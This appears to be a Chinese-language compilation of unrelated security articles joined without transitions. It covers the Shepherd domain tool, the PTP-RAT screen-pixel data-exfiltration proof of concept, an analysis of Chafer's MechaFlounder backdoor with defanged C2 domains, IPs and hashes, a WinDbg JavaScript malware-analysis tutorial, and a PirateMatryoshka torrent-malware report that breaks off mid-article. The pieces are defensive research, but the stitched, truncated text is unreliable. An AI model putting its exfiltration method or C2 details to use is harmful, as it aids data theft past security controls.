Shepherd希望通过自动化大量繁琐且易出错的管理来改善团队成员之间的沟通,这些管理用于记录域名使用背后的种种问题。这允许团队成员专注于项目的更有趣/技术方面,而不是ping Slack通道以查明域是否可用。

更令人兴奋的是Shepherd的未来潜力。如上所述,我们已经在努力扩展这个平台,很高兴在不久的将来分享结果。Shepherd只是开始;我们希望这个平台真正飙升到新的高度,所以请尽快关注更多新闻!

请注意,虽然我们已经包含了用户身份验证和基本用户角色的有限权限,但Shepherd不应该放在互联网上。请记住,Shepherd包含客户名称,域名和项目详细信息。我们强烈建议任何使用Shepherd的人在内部使用它并在外部访问时使用VPN。

假设要将数据从一台计算机传输到另一台计算机。如果使用公共电子邮件服务、FTP或任何其他协议,很容易被诸如DLP(数据丢失防护)之类的软件捕获。因此,可以通过监视器像素颜色值(监视器屏幕作为转换通道)对数据进行传输。

数据传输场景:攻击者拥有一台位于印度的Windows 10计算机以及另一台位于美国的运行VMware控制台或VNC的Windows 10计算机。现在假设印度希望向美国发送数据。

显示协议(如RDP)被阻止,因此无法传输文件。我们可以使用屏幕接口作为通道进行数据传输。

在这(HERE)下载PTP RAT。

PTP-RAT是一个概念验证工具,用于在屏幕界面上传输数据,它使用像素颜色值对数据进行编码,并闪烁远程屏幕以发送待传输的数据。每个屏幕闪存都以一个header开始,允许通过屏幕进行数据窃取。

PTP-RAT客户端

· 上图为位于美国的win10,其中PTP-RAT充当客户端以从屏幕界面接收数据。

· 接收器被激活,它正在等待PTP服务器的回复以完成Nyquist速率的采样过程。

· 成功完成抽样过程将通过屏幕传输完整的数据。

注意:Nyquist速率是在不引入错误的情况下对信号进行采样的最小速率。

PTP-RAT Server

· 上图为具有PTP-RAT的印度服务器充当server,通过闪烁将数据发送到PTP-RAT接收器。

· 单击“发送文件”按钮,然后选择要发送的文件。

· 发送文件,屏幕将闪烁灰色屏幕,表示采样信号处理已开始。

· 将传输信号输出文件(传输的数据),PTP-RAT接收器上会出现文件保存对话框,并保存文件。

注意:使用灰色屏幕闪烁表示正在对正在进行的信号进行采样。

通过屏幕界面传输数据

· 上图称为闪烁或信号采样。

· 当文件通过像素颜色值传输时,鼠标指针消失,屏幕开始闪烁灰色屏幕。

· 它显示机密数据是用灰色屏幕传输的。

保存数据

· 使用灰色屏幕成功完成采样过程后,接收器上会出现文件保存对话框,保存文件。

· 已成功从PTPsender收到GBhackersLogo.png文件。

PTP-RAT展示了对已实施控件(硬件和软件安全设备)的旁路攻击。

2018年11月,Chafer威胁小组针对土耳其政府重新利用他们在2018年早些时候使用的基础设施(Clearsky报道的活动中),特别是域名win10-update [.] com。虽然我们没有见到此攻击的初始交付机制,但我们确实在185.177.59 [.] 70上观察到托管的辅助有效载荷,此IP是该域名在攻击活动时解析的地址。

Unit 42从2016年开始观察到Chafer活动,但Chafer自2015年以来一直活跃。这个新的辅助有效载荷是基于Python的,并使用PyInstaller编译成可执行文件。这是Unit 42识别这些运营者使用的第一个基于Python的有效载荷。我们还发现其代码与OilRig的Clayside VBScript重叠,但此次将Chafer和OilRig作为单独的威胁组织进行跟踪。我们已将此有效载荷命名为MechaFlounder以便跟踪,并在下面详细讨论。

一、针对土耳其政府

我们识别此次Chafer活动基于从IP地址185.177.59 [.] 70下载的恶意可执行文件。目前尚不清楚攻击者如何定位受害者并导致他们下载此文件。

名为“lsass.exe”的文件是通过HTTP请求从win10-update [.] com下载的。 win10-update [.] com域名已在开源中被标注为与Chafer威胁组织相关联的指示符。从此域名下载的lsass.exe文件是以前未报告的基于python的有效载荷,我们命名为MechaFlounder并持续追踪。我们认为Chafer使用MechaFlounder作为辅助有效载荷,并使用第一阶段有效载荷下载,以便在受感染的主机上执行其后续活动。根据我们的遥测技术,在此活动中没有观察到第一阶段的有效载荷。

2018年2月,IP地址134.119.217 [.] 87解析为win10-update [.] com以及可能与Chafer活动相关的其他几个域名。有趣的是,域名turkiyeburslari [.] tk,它镜像了合法的土耳其奖学金政府领域turkieyburslari [.] gov [.] tk,也解析到这个IP。与此IP地址关联的域名包含在附录中,如下面的图1所示。

图1. 与134.119.217[.]87相关联的基础设施

二、MechaFlounder载荷

基于python的有效载荷“lsass.exe”通过HTTP请求从命令和控制(C2)服务器获取到以下URL:

win10-update[.]com/update.php?req=<redacted>&m=d

我们跟踪的这个MechaFlounder有效载荷(SHA256:0282b7705f13f9d9811b722f8d7ef8fef907bee2ef00bf8ec89df5e7d96d81ff)是用Python开发的,并使用PyInstaller工具捆绑为可移植的可执行文件。此辅助有效载荷充当后门,允许操作人员上传和下载文件,以及在受感染系统上运行其他命令和应用程序。

MechaFlounder首先进入一个循环,不断尝试与其C2服务器通信。特洛伊木马使用HTTP将出站信标发送到其C2服务器,该信标包含用户的帐户名和主机名。如图2所示,代码通过将用户名和主机名以及两个字符串之间的两个短划线“ – ”连接来构建URL。然后,代码两次使用上述新字符串创建URL字符串,并在两者之间使用反斜杠“\”字符,并附加字符串“-sample.html”。

图2. 用于构建异常HTTP请求的特洛伊木马代码

在此分析过程中,图2中的代码为其信标生成了异常HTTP请求,如下面的图3所示。有人可能会注意到图3中的GET请求不是以正斜杠“/”字符开头,而是在URL中包含反斜杠字符“\”。这会导致合法的Web服务器(例如我们的测试环境中使用的nginx)以“400 Bad Request”错误消息进行响应。这可能表明,图2中的代码使用httplib模块中的HTTPConnection类来生成异常HTTP信标,威胁行为者创建了一个自定义服务器来处理此C2通信,而不是依赖于标准Web服务器。

此外,图2显示恶意软件作者使用变量名'cmd'来构建用于HTTP方法和路径的字符串,并在字符串的HTTP方法中检查单词'exit'。我们不确定此检查的目的,因为此字符串中的HTTP方法不会出现“exit”,因此永远不会成立。我们认为这可能源自作者忘记删除的之前版本的脚本。

图3. Trojan在测试环境中发出的HTTP请求示例

如果C2服务器接受图3中的信标,它将响应HTML,其中包含用于解析和执行特洛伊木马的命令。特洛伊木马首先使用下面图4中的代码将响应中的HTML转换为文本。图4中的HTML到文本代码可以在Internet上的多个地方获得,但它可能源于Stack Overflow上的一个题为使用Python从HTML文件中提取文本的讨论,恶意软件作者可能从此处获取该代码。

图4. 可能从Stack Overflow讨论中获得的代码

将HTML转换为文本后,特洛伊木马会忽略响应的前10个字符,并将字符串的其余部分视为命令。C2还可以在此命令字符串中提供子字符串“yes”,指示特洛伊木马将命令解码为base16编码的字符串,并移除“yes”子字符串。特洛伊木马将C2提供的命令置于处理程序中,该处理程序确定特洛伊木马将执行的动作。表1显示了特洛伊木马命令处理程序中可用的命令列表以及相应的行为。命令处理程序中的命令为Chafer提供了与远程系统交互的必要功能。

1.png

表1. Trojan的命令处理程序中可用的命令

通过分析MechaFlounder在收到“upload”命令时执行的动作,我们更深入的了解了自定义C2服务器应用程序。要将指定文件从受感染系统上传到C2服务器,特洛伊木马程序需要使用mechanize模块中的Browser类将文件提交到C2服务器上的HTML表单。这表明除了能够处理前面提到的异常HTTP GET请求之外,自定义C2服务器应用程序还必须能够:

1. 提供包含表单的HTML以接收上传的文件

2. 处理由机械化模块生成的合法HTTP POST请求

3. 保存使用HTTP POST请求上传的文件

执行命令后,特洛伊木马使用'base64.b16encode'方法对命令的结果或输出消息进行编码。除了'empty'和'terminate'之外,每个命令都有一个输出消息,用于表示命令执行成功和失败。下面的表2显示了与每个命令关联的成功和失败消息。

2.png

表2.与命令关联的成功和失败消息

与使用异常HTTP GET请求的初始信标不同,特洛伊木马会使用与初始HTTP信标相同的套接字将编码结果发送到C2服务器。使用相同的套接字和异常的HTTP信标进一步表明威胁行为者可能创建了一个自定义C2服务器来处理这种网络流量。

为了显示这些网络通信,我们修补了特洛伊木马,使之可以发出使用我们测试环境中的HTTP服务器(nginx)支持的合法HTTP GET请求的信标。修补程序涉及更改HTTP请求中的路径,特别是将路径设置为以正斜杠“/”开头,并在URL路径本身中使用正斜杠“/”而不是反向“\”。在测试环境中,我们将字符串“0123456789runtime 5”添加到'rob-rob-virtual-machine'文件夹中的'rob-rob-virtual-machine-service.html'文件中。

当特洛伊木马发出信标时,HTTP服务器会响应“rob-rob-virtual-machine-service.html”文件的内容,该文件有效的向特洛伊木马发出命令。特洛伊木马响应命令'runtime 5',并在base16中编码消息“5 || rob-rob-virtual-machine ** runtime changed to runtime 5”。然后将此发送到C2服务器,而不使用与初始HTTP请求相同的套接字的任何HTTP头。

图5中的TCP会话,显示了从修补的特洛伊木马发送的初始信标,HTTP服务器响应命令,以及特洛伊木马在同一TCP会话中再次响应。

图5.特洛伊木马使用单个TCP会话接收命令并将命令结果发送到C2

三、补充…

在MechaFlounder有效载荷的初始下载URL中看到的“&m = d”参数,出现在与Chafer和OilRig威胁组织相关的许多URL中。在与Oilrig和Chafer相关联的VBScript下载器有效载荷中已经看到此参数。我们还看到Chafer的AutoIT有效载荷生成的URL中使用的此参数。VBScript和AutoIT有效载荷也共享公共变量名和相同的整体功能,这表明在两个威胁组织之间可能存在一些代码共享。下面图6中的彩色框显示了他们之间重叠的代码,左侧为OilRig的VBScript (SHA256: 1b2fee00d28782076178a63e669d2306c37ba0c417708d4dc1f751765c3f94e1) ,右侧为Chafer AutoIT 脚本 (SHA256: 332fab21cb0f2f50774fccf94fc7ae905a21b37fe66010dcef6b71c140bb7fa1)。

不幸的是,我们无法确定OilRig和Chafer之间代码共享的细节。目前,我们无法根据这些代码重叠将两个威胁组织合并在一起。

图6. Oilrig Clayside VBS | Chafer AutoIT

四、总结

自2015年以来,Chafer威胁组织一直很活跃,专注于中东地区的私人和公共部门。Unit 42特别注意到,至少从2016年开始,土耳其政府便成为其目标;然而,这是Unit 42观察到Chafer使用基于Python的有效载荷的第一个实例。这个有效载荷,现在被称为MechaFlounder,是由Chafer使用攻击者自己开发的代码以及在开发社区免费在线提供的代码片段的组合创建而成。MechaFlounder特洛伊木马程序包含足够的功能,供Chafer执行完成目标所需的必要行为,特别是支持文件上传下载以及执行命令功能。

Oilrig的Clayside VBScript和Chafer的AutoIT有效载荷的重叠并不令人惊讶。在很长一段时间内,Oilrig和Chafer在操作上看起来非常相似,并且有可能访问相同的代码或资源以进行有效载荷开发。Unit 42参考了两个威胁组织活动中的各种重叠,并继续分别跟踪。

Palo Alto Networks的客户可通过以下方式抵御此威胁:

· WildFire通过恶意判决检测MechaFlounder

· 命令和控制服务器的域名被标记为恶意

Palo Alto Networks与我们的网络威胁联盟成员分享了我们的调查结果,包括文件样本和IoC指标。CTA成员利用这些情报可以快速部署对客户的保护,并系统地干扰恶意网络参与者。有关网络威胁联盟的更多信息,请访问cyberthreatalliance.org。

附录

MechaFlounder样本

lsass.exe

0282b7705f13f9d9811b722f8d7ef8fef907bee2ef00bf8ec89df5e7d96d81ff

报告中涉及的基础设施

· win10-update[.]com

· 185.177.59[.]70

· 134.119.217[.]87

· win7-update[.]com

· turkiyeburslari[.]tk

· xn--mgbfv9eh74d.com (تلگرام[.]com)

· ytb[.]services

· eseses[.]tk

一、介绍

作为恶意软件研究人员,我们每周花几天时间调试恶意软件来了解有关它的更多信息。我们有几个功能强大且流行的用户模式工具可供选择,例如OllyDbg,x64dbg,IDA Pro和Immunity Debugger。所有这些调试器都使用一些脚本语言来自动执行任务,例如Python或OllyScript等专有语言。在内核模式分析时,确实有一个选项:Windows调试引擎及其接口CDB,NTSD,KD和WinDbg。

遗憾的是,即使WinDbg是最受用户欢迎的,但它也被广泛认为是一个世界上用户友好度最差的调试器。WinDbg命令的学习曲线非常陡峭,因为它将一个不直观且经常相互冲突的命令语法与过时的用户界面相结合。将传统的WinDbg脚本语言添加到此等式中并不会使用户更容易,因为它通过引入自己的特性来创建额外的复杂层。

谢天谢地,Windows 10的新WinDbg预览版使其符合现代编程环境。此预览版包括一个新的JavaScript引擎和一个公开的调试数据模型,通过一组JavaScript对象和函数。这些新功能使WinDbg符合如Visual Studio一样的现代编程环境,使用已经熟悉的用户界面元素。在这篇文章中,我们将讨论这个新版本的WinDbg调试器数据模型及其与JavaScript和dx命令的新接口。

二、调试数据模型

调试器数据模型是一个可扩展的对象模型,它允许调试器扩展以及WinDbg用户界面通过一致的接口访问许多内部调试器对象。与通过数据模型公开的恶意软件分析相关的对象是:

· Debugging sessions

· Processes

· Process environment (ex. Peb and Teb)

· Threads

· Modules

· Stack frames

· Handles

· Devices

· Code (disassembler)

· File system

· Debugger control

· Debugger variables

· Pseudo registers

1.DX显示表达式

所有上述类型的对象都通过新命令dx(显示调试器对象模型表达式)公开,该命令可用于访问对象并使用类似C ++的语法计算表达式,其方式比通过混合MASM和C ++表达式的方式更简单。由于为WinDbg添加了NatVis功能,dx命令的结果以更加用户友好的方式显示,使用DML作为默认输出的直观格式化。探索dx命令的起点就是在WinDbg命令窗口输入dx Debugger,它将显示公开数据模型中的顶级命名空间。这四个名称空间是Sessions,Settings,State和Utility。DML使用超链接生成输出,允许用户只需单击它们即可深入查看各个命名空间。例如,单击Sessions超链接,将执行命令dx -r1 Debugger.Sessions并显示其结果。

从顶级命名空间向下直到进程

如果我们进一步向下几层,也可以使用-r dx命令选项控制,我们将获得所有进程及其属性的列表,包括_EPROCESS内核对象作为Process调试器对象的成员KernelObject公开的字段。早期WinDbg版本的用户肯定会喜欢通过dx命令提供的调查的新便利性。dx命令还支持选项卡完成,这使得导航数据模型更加容易,并允许用户了解操作系统和WinDbg内部,如调试器变量和伪寄存器。例如,要遍历内部调试器变量列表,可以键入dx @ $然后重复按Tab键,它将从$ argreg开始循环遍历所有已定义的伪寄存器。伪寄存器和内部变量很有用,如果我们想避免在dx命令后输入完整的对象路径。可以简单地使用伪寄存器@ $ cursession而不是Debugger.Sessions [0],它指向当前会话数据模型对象。如果需要使用当前进程,只需键入dx @ $ curprocess而不是更长的dx Debugger.Sessions [0] .Process [procid]。

2.LINQ查询

Linq(语言集成查询)是.NET软件工程师已经熟悉的概念,允许用户在通过dx命令公开的对象集合上创建类似SQL的查询。有两种语法可用于为正常的.NET开发创建Linq表达式,但是WinDbg通过dx命令仅支持使用Lambda表达式语法创建查询。Linq查询允许对集合对象进行分割,并提取感兴趣的信息。Linq函数“Where”允许我们只选择满足由作为函数提供的Lambda表达式参数指定条件的那些对象。例如,要仅显示名称中包含字符串“Google”的进程,我们可以键入:

dx @$cursession.Processes.Where(p => p.Name.Contains("Google"))

就像在SQL中一样,“Select”函数允许我们选择要显示集合中对象的哪些成员。例如,对于已使用“Where”函数过滤的进程,我们可以使用“Select”来仅检索进程名及其ID:

dx -r2 @$cursession.Processes.Where(p => p.Name.Contains("Google")).Select(p => New { Name=p.Name, Id=p.Id })

深入一层,进入公开的_EPROCESS内核对象,我们可以选择显示被观察进程所拥有的句柄子集。例如,查找用户模式rootkit隐藏的进程的方法之一是枚举Windows客户端服务器子系统进程(csrss.exe)的进程句柄,并将该列表与使用标准进程枚举命令生成的列表进行比较。之前已列出由csrss.exe创建的进程,我们需要找到csrss.exe进程对象,一旦找到,切换到它们的上下文:

dx @$cursession.Processes.Where(p => p.Name.Contains("csrss.exe"))[pid].SwitchTo()

现在可以运行Linq查询来显示csrss.exe句柄表中存在的进程主模块的路径:

dx @$curprocess.Io.Handles.Where(h => h.Type.Contains("Process")).Select(h => h.Object.UnderlyingObject.SeAuditProcessCreationInfo.ImageFileName->Name)

由于ImageFileName是指向_OBJECT_NAME_INFORMATION类型结构的指针,因此我们需要使用箭头取消引用它并访问包含模块路径的“Name”字段。还有许多其他有用的Linq查询。例如,用户可以根据某些条件对显示的结果进行排序,这类似于Order By SQL子句,或使用“Count”函数计算查询结果。Linq查询也可以在JavaScript扩展中使用,但它们的语法略有不同。我们将在文章中稍后展示一个在JavaScript中使用Linq的示例。

三、WinDbg与JavaScript

我们已经介绍了调试器数据模型的基础知识和用于探索它的dx命令,现在我们可以继续使用WinDbg的JavaScript扩展。Jsprovider.dll是一个原生的WinDbg扩展,允许用户使用Microsoft的Chakra JavaScript引擎编写WinDbg脚本并访问数据模型。默认情况下,扩展不会加载到WinDbg进程空间,因此必须手动完成。这避免了与其他基于JavaScript的扩展的潜在冲突。Jsprovider使用标准命令加载扩展:

.load jsprovider.dll

虽然本文讨论了威胁研究人员在分析恶意软件样本时可能创建的传统脚本,但值得一提的是,JavaScript扩展还允许开发人员创建与现有二进制扩展一样的WinDbg扩展。在官方GitHub存储库提供的WinDbg JavaScript示例中,可以找到有关创建基于JavaScript扩展的更多信息。

WinDbg Preview包含一个用于编写JavaScript代码的全功能集成开发环境(IDE),允许开发人员重构调试实时程序或调查内存转储时的代码。以下WinDbg命令用于加载和运行基于JavaScript的脚本。好消息是,与管理WinDbg脚本的笨拙标准语法相比,处理基于JavaScript的脚本的命令更直观:

· scriptload命令将JavaScript脚本或扩展加载到WinDbg中,但不执行它。

· scriptrun运行加载的脚本。

· scriptunload从WinDbg和调试器数据模型命名空间卸载脚本。

· scriptlist列出所有当前加载的脚本。

1.JAVASCRIPT入口点

根据用于加载脚本的脚本命令,JavaScript provider将调用其中一个预定义的用户脚本入口点或在脚本根级别执行代码。从威胁研究人员的角度来看,有两个主要的入口点。第一个是一种名为initializeScript的脚本构造函数,在执行.scriptload命令时由provider调用。该函数通常被调用来初始化全局变量,并定义常量、结构和对象。在initializeScript函数中定义的对象将使用函数host.namespacePropertyParent和host.namedModelParent桥接到调试器数据模型命名空间。桥接对象可以使用dx命令对数据模型中的任何其他对象进行调查。第二个,甚至更重要的入口点是函数invokeScript,相当于C函数的main。当用户执行.scriptrun WinDbg命令时,将调用此函数。

2.有用的技巧

现在我们假设有一个名为“myutils.js”的脚本,其中保留了一组我们在日常研究中经常使用的功能。首先,我们需要使用.scriptload函数加载脚本。

从用户的Desktop文件夹加载脚本函数

3.WINDBG JAVASCRIPT模块和命名空间

我们用来与调试器交互的主要JavaScript对象是宿主对象。如果我们使用WinDbg预览脚本编辑器,Intellisense选项卡完成和函数文档将帮助我们学习可用的函数名和成员名。

IntelliSense

如果只想进行实验,可以将代码放入invokeScript函数中,每次执行脚本时都会调用它。一旦对代码感到满意,就可以重构它并定义自己的一组函数。在深入研究通过JavaScript接口使用函数之前,建议创建两个基本的辅助函数来在屏幕上显示文本。使用标准的WinDbg命令与调试器交互。它们将有助于与用户交互以及围绕JavaScript中原生不存在的某些函数创建变通方法,但需要它来进行调试。在此示例中,将这些函数命名为logme和exec。它们或多或少只是围绕JavaScript函数的封装器,具有一些额外的优势,即不需要键入完整的命名空间层次结构来访问它们。

帮助函数封装部分JavaScript WinDbg API

在函数exec中,可以看到通过引用host.namespace.Debugger命名空间,我们能够通过JavaScript访问相同的对象层次结构,就像使用WinDbg命令行中的dx命令一样。ExecuteCommand函数执行任何已知的WinDbg命令并以纯文本格式返回结果,可以解析它来获得所需的结果。此方法与流行的基于Python的WinDbg扩展pykd中可用的方法没有太大的不同。但是,Jsprovider优于pykd的地方是大多数JavaScript扩展函数都返回JavaScript对象,不需要任何额外的解析就可以用于编写脚本。

例如,我们可以通过host.currentProcess.Modules来循环访问一组进程模块。循环数组的每个成员都是Module类的对象,可以显示它的属性,在本例中属性值是name。

值得注意的是,Intellisense并不是一定能够显示JavaScript对象的所有成员,这在循环语句中可能非常有用。此循环允许我们遍历打印所有对象成员的name,以便在探索和开发过程中提供帮助。

显示Module对象的成员

另一方面,for-of循环语句遍历对象的所有成员并返回其值。重要的是要记住这两个循环形式之间的区别。

打印加载到当前进程空间的模块列表

我们还可以通过循环加载模块的Process Environment Block(PEB)链接列表来获取已加载模块的列表,尽管这需要通过调用JavaScript函数host.namespace.Debugger.Utility.Collections将链接列表转换为集合。下面是一个函数的完整列表,该函数将已加载模块的链接列表转换为JavaScript模块数组并显示其属性。

function ListProcessModulesPEB (){
//Iterate through a list of Loaded modules in PEB using FromListEntry utility function        
 
for (var entry of host.namespace.Debugger.Utility.Collections.FromListEntry(host.currentProcess.KernelObject.Peb.Ldr.InLoadOrderModuleList, "nt!_LIST_ENTRY", "Flink")) {
 
//create a new typed object using a _LIST_ENTRY address and make it into //_LDR_TABLE_ENTRY
var loaderdata=host.createTypedObject(entry.address,"nt","_LDR_DATA_TABLE_ENTRY");
//print the module name and its virtual address
logme("Module "+host.memory.readWideString(loaderdata.FullDllName.Buffer)+" at "+ loaderdata.DllBase.address.toString(16) + " Size: "+loaderdata.SizeOfImage.toString(16));
   }
}

此函数包含从进程内存中读取值的代码,方法是访问host.memory命名空间并调用函数readMemoryValues,readString或readWideString中的一个,具体取决于需要读取的数据类型。

4.JAVASCRIPT 53-BIT宽度整型限制

虽然使用JavaScript编程WinDbg与标准的WinDbg脚本相比相对简单,但我们需要注意一些可能会引起一些麻烦的事实。第一个问题是JavaScript整数的宽度限制为53位,这在使用64位值时可能会导致一些问题。出于这个原因,JavaScript扩展有一个特殊的类host.Int64,当我们想要使用64位数字时,需要调用它的构造函数。幸运的是,当发生溢出时,解释器会发出警告。

host.Int64对象有许多函数,允许我们对它执行算术和按位运算。当试图创建一个函数来循环使用后面的帖子中显示的PspCreateProcessNotifyRoutine函数注册的回调数组时,我无法找到一种方法来应用64位宽的位掩码。掩码函数为53位宽,如果掩码宽度超过53,则会产生溢出。

 

使用53位掩码host.Int64会产生正确的结果,如果更宽则出错

幸运的是,有GetLowPart和GetHighPart函数,它们分别返回64位整数的低32位或高32位。这允许我们应用所需要的And掩码,通过将高32位值向左移32并将低32位加到其中来获取所需的64位值。WinDbg JavaScript实现的53位限制令人烦恼的是,如果WinDbg团队能够找到一种方法来克服它并支持64位数而不诉诸特殊的JavaScript类,那将是非常受欢迎的。

5.JAVASCRIPT中的LINQ

我们已经看到Linq查询如何使用dx命令来访问调试器数据模型对象及其成员的子集。但是在JavaScript中它们的语法略有不同,它要求用户提供返回所需的表达式数据类型或提供匿名函数作为Linq动作函数调用的参数,返回所需的数据类型。例如,对于“Where”Linq子句,返回的值必须是布尔类型。对于“Select”子句,需要提供一个想要选择的对象的成员或一个由查询对象成员的子集组成的新匿名对象。

这是一个使用Linq函数过滤模块列表的简单示例,仅显示名称中包含字符串“dll”的模块,并仅选择要显示的模块名称及其基址。

function ListProcessModules(){
 
//An example on how to use LINQ queries in JavaScript
//Instead of a Lambda expression supply a function which returns a boolean for Where clause or
 
let mods=host.currentProcess.Modules.Where(function (k) {return k.Name.includes("dll")})
 
//a new object with selected members of an object we are looking at (in this case a Module)
 
.Select(function (k) {return  { name: k.Name, adder:k.BaseAddress} });
 
    for (var lk of mods) {
 
      logme(lk.name+" at "+lk.adder.toString(16));
 
    }
}

6.检查操作系统结构

获取内核函数和结构地址的一个很好的起点是函数host.getModuleSymbolAddress。如果我们需要存储在符号中的实际值,我们需要使用host.memory.readMemoryValues函数反引用地址或者反引用函数单一值。

下面是一个枚举回调的示例,该回调使用PspCreateProcessNotifyRoutinekernel函数注册,该函数注册驱动程序函数,每次创建或终止进程时都会通知这些函数。这也被内核模式恶意软件用于隐藏进程或防止恶意软件的用户模式模块终止。帖子中的示例受到C代码的启发,用于枚举由Matthieu Suiche开发的SwishDbgExtextension中实现的回调。此WinDbg扩展对于分析受内核模式恶意软件感染的系统以及内核内存转储非常有用。代码显示使用JavaScript可以相对容易地实现更复杂的功能。实际上,使用JavaScript开发对于恶意软件研究人员来说是理想的,因为编写代码,测试和分析都可以使用WinDbg预览IDE并行执行。

function ListProcessCreateCallbacks() {
 
PspCreateNotifyRoutinePointer=host.getModuleSymbolAddress("ntkrnlmp","PspCreateProcessNotifyRoutine");
let PspCreateNotify=host.memory.readMemoryValues(PspCreateNotifyRoutinePointer,1,8);
let PspCallbackCount=host.memory.readMemoryValues(host.getModuleSymbolAddress("ntkrnlmp","PspCreateProcessNotifyRoutineCount"),1,4);
logme ("There are "+PspCallbackCount.toString()+" PspCreateProcessNotify callbacks");
 
for (let i = 0; i<PspCallbackCount;i++){
 
    let CallbackRoutineBlock=host.memory.readMemoryValues(PspCreateNotifyRoutinePointer.add(i * 8),1,8);
    let CallbackRoutineBlock64=host.Int64(CallbackRoutineBlock[0]);
    
    //A workaround seems to be required here to bitwise mask the lowest 4 bits,
    //Here we have:
    //Get lower 32 bits of the address we need to mask and mask it to get
    //lower 32 bits of the pointer to the _EX_CALLBACK_ROUTINE_BLOCK (undocumented structure known in ReactOS)
    
    let LowCallback=host.Int64(CallbackRoutineBlock64.getLowPart()).bitwiseAnd(0xfffffff0);
    
    //Get upper 32 bits of the address we need to mask and shift it left to create a 64 bit value
    let HighCallback=host.Int64(CallbackRoutineBlock64.getHighPart()).bitwiseShiftLeft(32);
 
    //Add the two values to get the address of the i-th _EX_CALLBACK_ROUTINE_BLOCK
    let ExBlock=HighCallback.add(LowCallback);
   
    //finally jump over the first member of the structure (quadword) to read the address of the callback
    let Callback=host.memory.readMemoryValues(ExBlock.add(8),1,8);
 
    //use the .printf trick to resolve the symbol and print the callback
    let rez=host.namespace.Debugger.Utility.Control.ExecuteCommand(".printf \"%y\n\", " + Callback.toString());
 
    //print the function name using the first line of the response of .printf command
    logme("Callback "+i+" at "+Callback.toString()+" is "+rez[0]);
  }
}

在这里,我们看到了上面提到的64位地址的操作。我们将64位值分成高低32位并分别应用位掩码以避免JavaScript中53bit整数溢出。另一个有趣的点是使用标准调试器命令.printf来执行反向符号解析。尽管JavaScript函数host.getModuleSymbolAddress允许获取所需符号的地址,但在撰写本文时,并没有允许我们从地址获取符号名的函数。这就是解决方法.printf与%y格式说明符一起使用的原因,该格式说明符返回包含指定符号名的字符串。

7.调试脚本

任何流行语言的脚本开发人员都知道,为了成功开发,开发人员还需要一组允许调试的工具。调试器需要能够设置断点并检查变量和对象的值。当我们编写需要访问各种操作系统结构的脚本或分析恶意软件样本时,这也是必需的。WinDbg JavaScript扩展再一次以调试工具的形式提供所需的功能,其命令将对所有WinDbg用户非常熟悉。

通过执行命令.scriptdebug启动调试器,该命令准备用于调试特定脚本的JavaScript调试器。一旦调试器加载了脚本,就可以选择导致调试器停止的事件以及在特定的脚本代码行上设置断点。使用JavaScript调试器中的命令sxe,就像在WinDbg中一样,来定义调试器将在哪些事件之后中断。例如,要中断脚本的第一个执行行,只需键入sxe en。命令成功执行后,可以使用命令sx检查所有可用事件的状态。

Sx显示各种异常的JavaScript调试器中断状态

现在,我们还有机会指定应使用命令bp设置断点的脚本行,就像在标准的WinDbg语法中一样。要设置断点,用户需要指定行号以及行上的位置,例如bp 77:0。如果指定的行位置为0,则调试器会自动在行的第一个可能位置设置断点,这有助于避免计算所需的断点位置。

在行位置0上设置断点将其设置在第一个可能的位置

现在已经设置了所有必需的断点,我们必须退出调试器,这是一个有点不直观的步骤。通过访问WinDbg变量@$scriptContents并调用我们希望调试的脚本的任一函数或者像往常一样使用.scriptrun启动脚本,调用脚本后调试过程继续。当然,使用dx命令访问@$scriptContents变量。

使用@$scriptContents变量启动脚本进行调试

调试器包含自己的JavaScript评估命令??,它允许我们评估JavaScript表达式并检查脚本变量和对象的值。

用于检查JavaScript表达式显示结果的命令

JavaScript调试是正确开发所需的强大工具。虽然它的功能在早期的JavaScript扩展版本中已经足够了,但我们希望随着时间的推移,它的功能将变得更加丰富和稳定,因为WinDbg预览版接近其完整版。

四、总结

我们希望这篇文章能向您提供一些使用官方Microsoft JavaScript WinDbg扩展进行恶意软件分析的非常有用的指南。尽管JavaScript公开的API并不完整,但可以通过封装标准WinDbg命令并解析其输出来解决这些限制。此解决方案并不理想,我们希望将新功能直接添加到JavaScript provider,以使脚本体验更加用户友好。Windows开发团队的调试工具致力于添加新的JavaScript模块,如最近添加了文件系统交互和代码命名空间模块,它为代码分析打开了一整套新的可能性,我们可以在下一篇文章中介绍。感兴趣的读者可以查看Github上的官方示例存储库提供的CodeFlow JavaScript扩展。如果想了解有关使用WinDbg和JavaScript进行恶意软件分析的更多内容,思科Talos将在五月哥本哈根的CARO Workshop上进行展示。

参考

· dx command

· MASM and C++ WinDbg evaluators

· Linq and the debugger data model

· Debugger data model for reversers

· Debugging JavaScript in WinDbg

· JavaScript debugger example scripts

· WinDbg JavaScript scripting video

· DX command video

· Debugger object model video

使用torrent跟踪器传播恶意软件是一种常见的做法; 网络犯罪分子将其伪装成流行的软件、电脑游戏、媒体文件以及其他广受欢迎的内容。我们在今年早些时候发现了一个这样的攻击活动,The Pirate Bay(TPB)跟踪器充斥着分发恶意软件的有害文件,均以付费程序的破解副本为幌子。

TPB中的恶意种子

我们注意到,跟踪器包含从许多不同帐户创建的恶意种子,其中一些账户在TBP上注册已有一段时间了。

恶意 torrent的描述

Torrent内容

下载到用户计算机的文件不是预期的软件,而是木马,其基本逻辑由SetupFactory安装程序实现。我们的安全解决方案将该恶意软件检测为Trojan-Downloader.Win32.PirateMatryoshka。

 

Pirate Matryoshka样本的工作流程

在初始阶段,安装程序解密另一个SetupFactory安装程序来显示网络钓鱼网页。

获取第一个恶意组件

该页面直接在安装窗口中打开,并请求用户的TBP帐户凭据,如此则可以继续下去。

获取TBP帐户的仿冒页面

被盗用的帐户最有可能被网络犯罪分子用来传播更多恶意种子 – 我们在上面提到,不仅仅是新创建的帐户被使用。

在执行下一步之前,Pirate Matryoshka首次验证它是否在受攻击的系统中运行。为此,它会检查注册表中的路径HKEY_CURRENT_USER\Software\dSet。如果存在,则终止进一步的执行。如果检查结果为否定,则安装程序会激活pastebin.com服务以获取指向附加模块及其解密密钥的链接。

获取第二个恶意组件

第二个下载的组件也是SetupFactory安装程序,用于按顺序解密和运行四个PE文件:

第二个恶意组件运行的模块

其中第二个和第四个是InstallCapital和MegaDowl文件合作伙伴程序的下载程序(我们归类为广告软件)。 它们通常通过文件共享站点向用户发送 – 除了下载所需内容外,他们的目标是在小心隐藏取消选项的同时安装其他软件。 例如,在InstallCapital中,可安装软件的完整列表放在许可协议的末尾:

InstallCapital中可安装软件的完整列表

在MegaDowl中,列表隐藏在看似无效的高级设置按钮后面:

MegaDowl中可安装软件的完整列表

